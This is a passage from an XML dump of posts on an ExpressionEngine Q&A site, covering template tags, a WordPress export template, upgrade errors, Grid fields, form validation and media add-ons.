&quot;Uncategorized&quot;}Media{if:else}{category_name}{/if}]]&amp;gt;&amp;lt;/category&amp;gt;&#xA;{/categories}&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_edit_last&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;{if article_links}&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;Associated Links&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[{article_links}]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;{/if}&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_su_rich_snippet_type&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[none]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;        &amp;lt;wp:postmeta&amp;gt;&#xA;            &amp;lt;wp:meta_key&amp;gt;_encloseme&amp;lt;/wp:meta_key&amp;gt;&#xA;            &amp;lt;wp:meta_value&amp;gt;&amp;lt;![CDATA[1]]&amp;gt;&amp;lt;/wp:meta_value&amp;gt;&#xA;        &amp;lt;/wp:postmeta&amp;gt;&#xA;&#xA;&#xA;    {embed=&quot;blog/comments&quot; entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;    &amp;lt;/item&amp;gt;&#xA;&amp;lt;/channel&amp;gt;&#xA;&amp;lt;/rss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;comments&quot; template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rss version=&quot;2.0&quot;&#xA;    xmlns:excerpt=&quot;http://wordpress.org/export/1.1/excerpt/&quot;&#xA;    xmlns:content=&quot;http://purl.org/rss/1.0/modules/content/&quot;&#xA;    xmlns:wfw=&quot;http://wellformedweb.org/CommentAPI/&quot;&#xA;    xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&#xA;    xmlns:wp=&quot;http://wordpress.org/export/1.1/&quot;&#xA;&amp;gt;&#xA;&#xA;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;{site_name}&amp;lt;/title&amp;gt;&#xA;    &amp;lt;link&amp;gt;{site_url}&amp;lt;/link&amp;gt;&#xA;&#xA;    &amp;lt;pubDate&amp;gt;&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;language&amp;gt;en&amp;lt;/language&amp;gt;&#xA;    &amp;lt;wp:wxr_version&amp;gt;1.1&amp;lt;/wp:wxr_version&amp;gt;&#xA;    &amp;lt;wp:base_site_url&amp;gt;http://domain.com/demo1/&amp;lt;/wp:base_site_url&amp;gt;&#xA;    &amp;lt;wp:base_blog_url&amp;gt;http://domain.com/demo1&amp;lt;/wp:base_blog_url&amp;gt;&#xA;&#xA;    &amp;lt;generator&amp;gt;http://wordpress.org/?v=3.1.2&amp;lt;/generator&amp;gt;&#xA;&#xA;{exp:comment:entries sort=&quot;desc&quot; entry_id=&quot;{embed:entry_id}&quot;}&#xA;&#xA;&amp;lt;item&amp;gt;&#xA;        &amp;lt;wp:comment&amp;gt;&#xA;            &amp;lt;wp:comment_id&amp;gt;{comment_id}&amp;lt;/wp:comment_id&amp;gt;&#xA;            &amp;lt;wp:comment_author&amp;gt;&amp;lt;![CDATA[{name}]]&amp;gt;&amp;lt;/wp:comment_author&amp;gt;&#xA;            &amp;lt;wp:comment_author_email&amp;gt;{email}&amp;lt;/wp:comment_author_email&amp;gt;&#xA;            &amp;lt;wp:comment_author_url&amp;gt;{url}&amp;lt;/wp:comment_author_url&amp;gt;&#xA;            &amp;lt;wp:comment_author_IP&amp;gt;{ip_address}&amp;lt;/wp:comment_author_IP&amp;gt;&#xA;            &amp;lt;wp:comment_date&amp;gt;{comment_date format=&quot;%Y-%m-%d %h:%i:%s&quot;}&amp;lt;/wp:comment_date&amp;gt;&#xA;            &amp;lt;wp:comment_date_gmt&amp;gt;{gmt_comment_date format=&quot;%Y-%m-%d %h:%i:%s&quot;}&amp;lt;/wp:comment_date_gmt&amp;gt;&#xA;            &amp;lt;wp:comment_content&amp;gt;&amp;lt;![CDATA[{comment}]]&amp;gt;&amp;lt;/wp:comment_content&amp;gt;&#xA;            &amp;lt;wp:comment_approved&amp;gt;1&amp;lt;/wp:comment_approved&amp;gt;&#xA;            &amp;lt;wp:comment_type&amp;gt;&amp;lt;/wp:comment_type&amp;gt;&#xA;            &amp;lt;wp:comment_parent&amp;gt;0&amp;lt;/wp:comment_parent&amp;gt;&#xA;            &amp;lt;wp:comment_user_id&amp;gt;0&amp;lt;/wp:comment_user_id&amp;gt;&#xA;        &amp;lt;/wp:comment&amp;gt;&#xA;&amp;lt;/item&amp;gt;&#xA;{/exp:comment:entries}&#xA;&amp;lt;/rss&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2018" LastEditorUserId="2018" LastEditDate="2013-09-18T02:48:12.313" LastActivityDate="2013-09-18T02:48:12.313" Title="{email} and {url} returning admins info, not comment authors info" Tags="|templates|comments|export|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13613" PostTypeId="2" ParentId="13462" CreationDate="2013-09-09T21:04:17.463" Score="1" Body="&lt;p&gt;I was having this same error going from 2.6.1 to 2.7.0. Here's how I got around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't upload your system -&gt; third party folders until after you run the installer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed all the steps here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/update.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/installation/update.html&lt;/a&gt;&#xA;except for uploading the add-ons to third party at the end of #3, ran the update and everything was fine. Then afterwards I uploaded the add-ons and everything was still okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like conflict for you is on the add-on with the folder 'pt_field_pack'. For me it was a plugin called Safecracker Registration. You could optionally just take out the 'pt_field_pack' folder before running the install too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if afterwards in case you get an error in your control panel that says '&lt;em&gt;Your ExpressionEngine installation’s version (2.6.1) is not consistent with the reported version (2.7.0). Please update your installation of ExpressionEngine again.&lt;/em&gt;' refer to this thread: &lt;a href=&quot;http://ellislab.com/forums/viewthread/237540/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/237540/&lt;/a&gt; and open system/installer/updates/ud_270.php and ADD this code ABOVE line 1050:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (empty($data))&#xA;{&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2030" LastEditorUserId="2030" LastEditDate="2013-09-10T15:06:37.743" LastActivityDate="2013-09-10T15:06:37.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13614" PostTypeId="2" ParentId="13606" CreationDate="2013-09-09T23:48:27.223" Score="0" Body="&lt;p&gt;In general, one thing to consider is having the same content / views duplicated in 2-3 different templates, with each having different permissions. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;student_view is a template for students only&#xA;admin_view is a template for the admins only&#xA;moderator_view is a template for the moderators only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those all might embed some of the same templates that display actual content. But, each main template then could have different, additional restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, maybe the built-in EE permissions handle one level of access control. And then you do more fine-grained restrictions with logic in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to restrict members to their blogs on only the front-end:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want that all to be in the same channel (or, fewer than 300+ channels), you could map the students' member_ids to category_ids. You'd store the mappings in a special entry, Low Variable, template or directly in the database (depending on how you want to manage these).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, for each logged in member_id, you could look-up a corresponding category_id, and then restrict the channel entries shown to only those in the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might that work for what you need?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-09T23:48:27.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13615" PostTypeId="2" ParentId="13612" CreationDate="2013-09-10T01:22:34.380" Score="1" Body="&lt;p&gt;&lt;strike&gt;Try adding dynamic=&quot;no&quot; to your &lt;code&gt;exp:comment:entries&lt;/code&gt; tag. I would also add the channel=&quot;&quot; parameter to the tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries sort=&quot;desc&quot; entry_id=&quot;{embed:entry_id}&quot; dynamic=&quot;no&quot; channel=&quot;XXXX&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, confirm that {embed:entry_id} is printing out the correct ID in your embed.&#xA;&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, make sure your &lt;code&gt;exp:comment:entries&lt;/code&gt; is NOT inside a &lt;code&gt;exp:channel:entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT (September 10, 2013)&lt;/strong&gt;&lt;br&gt;&#xA;Your templates must be setup correctly to get the data you are wanting. From what I think you're trying to do, you need to setup this way with two templates. My code sample below is really dumbed down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your first template add the channel:entries tag and add an {embed} tag to a second template to which you pass the entry's {entry_id}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;} &#xA;    {embed=&quot;blog/comments&quot; entry_id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the second template, you call the entry_id using {embed:entry_id} in the comment:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries entry_id=&quot;{embed:entry_id}&quot;}&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: This will be resource intensive if you are printing out lots and lots of data. I wouldn't only use this to do a one off export of entries and comments which seems to be what you're doing. If you get a white screen, you will need to increase PHP memory or limit the number of entries that you are calling.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-09-10T15:43:07.860" LastActivityDate="2013-09-10T15:43:07.860" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="13616" PostTypeId="2" ParentId="13605" CreationDate="2013-09-10T01:34:31.713" Score="0" Body="&lt;p&gt;This looks to be a bug related to EE version 2.7. I would suggest reporting it to EllisLab on their &lt;a href=&quot;https://support.ellislab.com/bugs&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Bug Tracker&lt;/strong&gt;&lt;/a&gt; (you must be logged in to see it).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, Pixel &amp;amp; Tonic offers an alternative EE field for Check Boxes in the &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Field Pack addon&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-10T01:34:31.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13617" PostTypeId="2" ParentId="13557" CreationDate="2013-09-10T01:43:09.513" Score="1" Body="&lt;p&gt;There are a couple other PHP settings you might need to adjust to allow for large files to be uploaded. Try also increasing these two:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;max_input_time 300  &#xA;max_execution_time 300&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You may also peek at your php error log file to see if anything more specific is getting logged there.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-10T01:43:09.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13618" PostTypeId="2" ParentId="13517" CreationDate="2013-09-10T01:47:38.767" Score="1" Body="&lt;p&gt;This sounds like a potential bug in EE. I would suggest submitting a bug report using the &lt;a href=&quot;https://support.ellislab.com/bugs&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;EllisLab Bug Tracker&lt;/strong&gt;&lt;/a&gt; (you must be logged in to see the page). &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-10T01:47:38.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13619" PostTypeId="2" ParentId="13500" CreationDate="2013-09-10T01:50:09.167" Score="3" Body="&lt;p&gt;If you are having issues with JS interactions in the control panel not working correctly after an EE upgrade, the first thing to try is to reupload your control panel theme folder.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-09-10T01:50:09.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13620" PostTypeId="1" CreationDate="2013-09-10T03:57:50.700" Score="1" ViewCount="52" Body="&lt;p&gt;I have an odd one where it appears that 1 of my custom field groups has disappeared. I don;t when, there is no backup (even if there was I can't tell wether it disappeared yesterday or last year). It was a simple one Matrix field with multiple columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no mention of it in exp_field_groups in the DB AND the actual entry that was using this custom field is still displaying on the front end. It has reverted to using another field groups ID in the DB and CP. Editing the sole entry causes errors and all file uploads that where populated are no longer present in the backend but are on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the actual field group is missing, I tried to recreate it, yet, because the fields I'm trying to re-create already exist in the matrix area of the DB, I get errors about field name in use, obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've stumbled around phpMyAdmin trying to backwards engineer a new field_group and alter some references to it in the Matrix DB columns to no luck as I just don't know what to change and where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is if ALL matrix data is present in the database, how can I create a new field_group and assign this group to the existing entry and save the information ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have anything ?&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-09-10T03:57:50.700" Title="Channel Field Group gone" Tags="|matrix|pixelandtonic|database|field-group|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13621" PostTypeId="1" CreationDate="2013-09-10T05:17:27.427" Score="4" ViewCount="315" Body="&lt;p&gt;I have this kind of code structure. &lt;code&gt;foo&lt;/code&gt; and &lt;code&gt;bar&lt;/code&gt; are both Grid fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{foo:total_rows}&quot; &amp;gt; 0 OR &quot;{bar:total_rows}&quot; &amp;gt; 0}&#xA;  {if &quot;{foo:total_rows}&quot; &amp;gt; 0}&#xA;       {foo}&#xA;          {foo:a}&#xA;          {foo:b}&#xA;          {foo:c}&#xA;       {/foo}&#xA;  {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that {foo:a},{foo:b} and {foo:c} is not outputting anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I do this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{foo:total_rows}&quot; &amp;gt; 0 OR &quot;{bar:total_rows}&quot; &amp;gt; 0}&#xA;&#xA;   {foo}&#xA;      {foo:a}&#xA;      {foo:b}&#xA;      {foo:c}&#xA;   {/foo}&#xA;&#xA;   {if &quot;{foo:total_rows}&quot; &amp;gt; 0}&#xA;        {foo}&#xA;           {foo:a}&#xA;           {foo:b}&#xA;           {foo:c}&#xA;        {/foo}&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{foo}{/foo}abc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a, b, and c are the contents of {foo:a},{foo:b} and {foo:c} respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem here? Is this a parse order issue?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2021-12-29T21:02:45.250" Title="Problem with Grid fields?" Tags="|2.7.0|grid|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13622" PostTypeId="2" ParentId="13271" CreationDate="2013-09-10T06:50:11.303" Score="0" Body="&lt;p&gt;It's now working! For the sake of closure, here's the final code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:stash:append name=&quot;content&quot; parse_conditionals=&quot;yes&quot; parse_tags=&quot;yes&quot; }&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&#xA;      Please select a group to see its members: &#xA;      {exp:channel:categories category_group=&quot;1&quot; channel=&quot;people&quot; show=&quot;not 4&quot; show_empty=&quot;no&quot; style=&quot;linear&quot; backspace=&quot;7&quot;}&amp;lt;a href=&quot;{path='people/index'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;amp;nbsp;|&amp;amp;nbsp;{/exp:channel:categories}&#xA;    &amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;main&quot; role=&quot;main&quot;&amp;gt;&#xA;      &amp;lt;ul id=&quot;tiles&quot;&amp;gt;&#xA;&#xA;        {if segment_2 == 'cat'}&#xA;          {exp:channel:entries channel=&quot;people&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;200&quot; disable=&quot;member_data|pagination&quot;}&#xA;             &amp;lt;li class=&quot;{if segment_3 == 'phd_students'}phd{/if}{if segment_3 == 'researchers'}researchers{/if}{if segment_3 == 'support'}support{/if}{if segment_3 == 'masters'}masters{/if}&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{people_img}&quot; width=&quot;100&quot; class=&quot;biopic&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;{people_name}&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;p&amp;gt;{people_bio}&amp;lt;/p&amp;gt;&#xA;                {if people_email}&amp;lt;p&amp;gt;{encode='{people_email}' title='contact'}&quot;&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;             &amp;lt;/li&amp;gt;&#xA;          {/exp:channel:entries}&#xA;        {/if}&#xA;&#xA;        {if segment_2 != 'cat'}&#xA;          {exp:channel:entries channel=&quot;people&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;200&quot; disable=&quot;member_data|pagination&quot; category=&quot;not 4&quot;}&#xA;              &amp;lt;li class=&quot;{if segment_3 == 'phd_students'}phd{/if}{if segment_3 == 'researchers'}researchers{/if}{if segment_3 == 'support'}support{/if}{if segment_3 == 'masters'}masters{/if}&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{people_img}&quot; width=&quot;100&quot; class=&quot;biopic&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;{people_name}&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;p&amp;gt;{people_bio}&amp;lt;/p&amp;gt;&#xA;                {if people_email}&amp;lt;p&amp;gt;{encode='{people_email}' title='contact'}&quot;&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;             &amp;lt;/li&amp;gt;&#xA;          {/exp:channel:entries}&#xA;        {/if}&#xA;&#xA;     &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&amp;lt;br&amp;gt;&#xA;{/exp:stash:append}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-09-10T06:50:11.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13623" PostTypeId="1" AcceptedAnswerId="13628" CreationDate="2013-09-10T10:09:01.807" Score="0" ViewCount="370" Body="&lt;p&gt;I have a page that displays all entries in a &quot;stories&quot; channel. Each story is categorised and I need there to be an option to filter by these categories. Here is the code I currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;filter-stories&quot;&amp;gt;&#xA;    Filter stories by:&#xA;    {exp:channel:categories channel=&quot;stories&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;stories&quot; dynamic=&quot;off&quot;}&#xA;    &amp;lt;aricle class=&quot;story{switch='|| end'}&quot; style=&quot;border:1px solid #000;width: 32%; float: left;&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;{story-hero}&quot; style=&quot;width:100%;&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;{categories}{category_name}{/categories}&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        {story-text-1}&#xA;        &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;read more&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/aricle&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently the list shows all the stories - which is how I want it to be by default, but how would I go about making the filter work. Ideally I want to click one of the category name links and it will only show the stories in that category without refreshing the page (using AJAX I assume?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never used AJAX in ExpressionEngine, can I add to the channel entries tag with it or is there a different way to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2013-09-10T11:47:23.527" Title="FIlter entries by category without refreshing the page" Tags="|categories|conditionals|ajax|filter|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13626" PostTypeId="1" AcceptedAnswerId="14171" CreationDate="2013-09-10T10:56:36.950" Score="1" ViewCount="144" Body="&lt;p&gt;Not needing all the features of Freeform Pro I attempted to downgrade to the regular version of Freeform 4.0.12. However, when I attempted to run the update script I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An Error Was Encountered&#xA;  Unable to load requested field type file: ft.freeform.php.&#xA;  Confirm the fieldtype file is located in the expressionengine/third_party/ directory&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What do I need to get rid of this error and get up and running on FF?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-09-29T13:10:38.887" Title="Downgrade from Freeform Pro to Freeform - Error" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13627" PostTypeId="1" AcceptedAnswerId="13629" CreationDate="2013-09-10T11:46:05.543" Score="1" ViewCount="96" Body="&lt;p&gt;I am building a form using Solspace Freeform, and we have two fields for telephone numbers - one for landline and one for mobile/cell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for me to make one or other of these fields required? I.E. If the user fills out landline but not mobile the form will submit, if the user fills out mobile but not landline the form will submit, but if the user doesn't fill out either then the form will return an error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2013-09-10T12:01:22.487" Title="Two fields in Solspace Freeform - either one or the other must be filled out. Is it possible?" Tags="|solspace-freeform|forms|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13628" PostTypeId="2" ParentId="13623" CreationDate="2013-09-10T11:47:23.527" Score="1" Body="&lt;p&gt;There's a great 2-part walkthrough of a setup like this on the &lt;a href=&quot;http://themetaq.com/mobile/articles/ajax-ee-sort-and-order-data-with-expressionengine-and-ajax-part-one&quot; rel=&quot;nofollow&quot;&gt;Meta Q&lt;/a&gt; site that would be worth a read.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-10T11:47:23.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13629" PostTypeId="2" ParentId="13627" CreationDate="2013-09-10T12:01:22.487" Score="2" Body="&lt;p&gt;You could try to solve with Jquery with depend function like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.selector&quot;).validate({&#xA;    rules: {&#xA;        contact: {&#xA;            required: true,&#xA;        email: {&#xA;                depends: function(element) {&#xA;                     return ($('#theRequiredField').val() == '';&#xA;                }&#xA;        }&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SOURCE: &lt;a href=&quot;http://jqueryvalidation.org/validate#toptions&quot; rel=&quot;nofollow&quot;&gt;http://jqueryvalidation.org/validate#toptions&lt;/a&gt;&#xA;search &quot; depends:&quot;&lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-09-10T12:01:22.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13630" PostTypeId="2" ParentId="13626" CreationDate="2013-09-10T12:16:31.377" Score="2" Body="&lt;p&gt;You likely need to remove the entry for &lt;code&gt;freeform&lt;/code&gt; from your &lt;code&gt;exp_fieldtypes&lt;/code&gt; database table.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-10T12:16:31.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13631" PostTypeId="1" CreationDate="2013-09-10T13:35:25.783" Score="3" ViewCount="97" Body="&lt;p&gt;im running expression engine 2.7, matrix 2.5.6 with matrix multi upload 1.1.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;matrix fields can upload images no problem, but matrix multi upload doesnt create new cells once the images upload. I don't get any errors, the upload files show images are uploaded but the cells do not appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help, thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qUFJn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2032" LastEditorUserId="69" LastEditDate="2013-09-10T15:31:02.417" LastActivityDate="2013-10-29T15:33:00.413" Title="Matrix multi upload - cells not appearing" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13632" PostTypeId="1" AcceptedAnswerId="13685" CreationDate="2013-09-10T14:57:20.653" Score="3" ViewCount="231" Body="&lt;p&gt;I'm trying to update template code on a EE site I inherited and whenever I save the template, after making my changes, the HTML formatting gets all screwed up and the JS is completely stripped out. For example, almost all of the HTML carrots are turned into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;lt; and &amp;amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the JS is just:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[removed]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if I don't make any changes to the code and just save the template in the inline editor this happens - new to EE and trying to figure out what's causing this. EE version 2.2.1, Wygwam 2.3.2... no other obvious add-ons that might cause issues to me. I found the protect_js config option and set it to 'y' (wasn't previously included) but it doesn't seem to make a difference. If I inspect the actual editor element I see a bunch of classes for markItUp - is that normal?&lt;/p&gt;&#xA;" OwnerUserId="2009" LastActivityDate="2013-09-11T16:35:01.853" Title="HTML/JS stripped from templates" Tags="|templates|wygwam|wysiwyg|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13635" PostTypeId="1" AcceptedAnswerId="13636" CreationDate="2013-09-10T18:13:23.450" Score="2" ViewCount="1465" Body="&lt;p&gt;I'm pulling media files (audio and video) into a template with Assets add-on. It doesn't appear to have the ability to grab the length (duration) of the media being uploaded. Is there a quick and easy way to get it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;a href=&quot;http://devot-ee.com/add-ons/mx-getid3&quot; rel=&quot;nofollow&quot;&gt;MX GetID3&lt;/a&gt; does the trick but not for remote files. If your files are on another subdomain (as mine were), use &lt;code&gt;{server_path}&lt;/code&gt; instead of &lt;code&gt;{url}&lt;/code&gt; to grab the file path.&lt;/p&gt;&#xA;" OwnerUserId="1992" LastEditorUserId="1992" LastEditDate="2013-09-12T13:51:08.153" LastActivityDate="2013-09-12T13:51:08.153" Title="How can I get the length (duration) of an audio file?" Tags="|assets|file-uploads|file-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
